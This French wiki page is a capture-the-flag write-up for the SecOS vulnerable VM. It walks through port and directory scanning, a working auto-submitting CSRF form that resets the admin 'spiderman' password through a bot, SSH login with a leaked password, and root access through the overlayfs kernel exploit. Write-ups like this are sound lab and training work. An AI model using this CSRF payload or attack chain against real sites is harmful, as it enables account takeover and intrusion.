Outils pour utilisateurs

Outils du site


vm:secos

SecOs - Write Up

Reconnaissance

nmap -sS -A 192.168.43.38
 
ports ouverts :
22 ssh
8081/tcp open  http    Node.js (Express middleware)

Exploitation Web

Pour le port 8081 :

Avec l'outil dirb on va chercher les fichiers existants :

./dirb http://192.168.43.38:8081/ wordlists/common.txt                 
 
+ http://192.168.43.38:8081/about (CODE:200|SIZE:2330)                         
+ http://192.168.43.38:8081/About (CODE:200|SIZE:2330)                         
+ http://192.168.43.38:8081/css (CODE:303|SIZE:20)                             
+ http://192.168.43.38:8081/hint (CODE:200|SIZE:2287)                          
+ http://192.168.43.38:8081/js (CODE:303|SIZE:19)                              
+ http://192.168.43.38:8081/login (CODE:200|SIZE:2337)                         
+ http://192.168.43.38:8081/Login (CODE:200|SIZE:2337)                         
+ http://192.168.43.38:8081/logout (CODE:301|SIZE:0)                           
+ http://192.168.43.38:8081/messages (CODE:301|SIZE:0)                         
+ http://192.168.43.38:8081/sign-up (CODE:200|SIZE:2280)                       
+ http://192.168.43.38:8081/users (CODE:301|SIZE:0)

Dirb nous ressort une page intéressante : hint

On regarde le code source :

Vu les informations récoltées il y a de forte chance que l'ont est besoin de faire une CSRF dans la suite du challenge.

Pour accéder à la plateforme il faut se créer un compte.

Dans la liste des comptes utilisateurs on remarque que seul le compte spiderman est administrateur.

Une page de réinitialisation de mot de passe et une page de contact sont présentes sur le site.

Après avoir envoyé une bonne quantité de messages , j'ai compris :

  1. Faire venir le bot sur notre machine
  2. Lui faire exécuter du JS pour réinitialiser son mot de passe

En local j'ai créé un fichier csrf.html :

csrf.html
<!DOCTYPE html>
<html>
<body>
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="http://127.0.0.1:8081/change-password" method="POST" id="csrf-form">
<input class="input-block-level" placeholder="spiderman" name="username" disabled="" type="text" value="spiderman">
<input class="input-block-level" placeholder="Password" name="password" type="password" value="test">
</form>
<script>document.getElementById("csrf-form").submit()</script>
</body>
</html>

Puis j'ai ouvert un socket python en écoute sur le port 80 :

python -m SimpleHTTPServer 80

Il faut ensuite envoyer un jolie petit message à spiderman depuis votre compte :

Quelques minutes plus tard on obtient cela :

192.168.43.38 - - [07/Aug/2017 14:22:29] "GET /csrf.html HTTP/1.1" 200 -

Le bot est bien passé et a exécuter notre CSRF.

On peut dès à présent se connecter avec les identifiants : spiderman/test

Dans les messages de spiderman on remarque que quelqu'un a déjà piraté le compte :

On utilise le mot de passe CrazyPassword! pour se connecter en ssh.

Exploitation système & Élévation de privilège

Récupération de la version du noyau :

uname -a 
Linux SecOS-1 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux

On va chercher la version de la distribution :

lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04 LTS
Release:	14.04
Codename:	trusty

L'élévation se fait à l'aide de l'exploit : overlayfs

cat /root/flag.txt

Merci à l'auteur de la machine.

vm/secos.txt · Dernière modification: 2017/08/07 13:17 par arkinar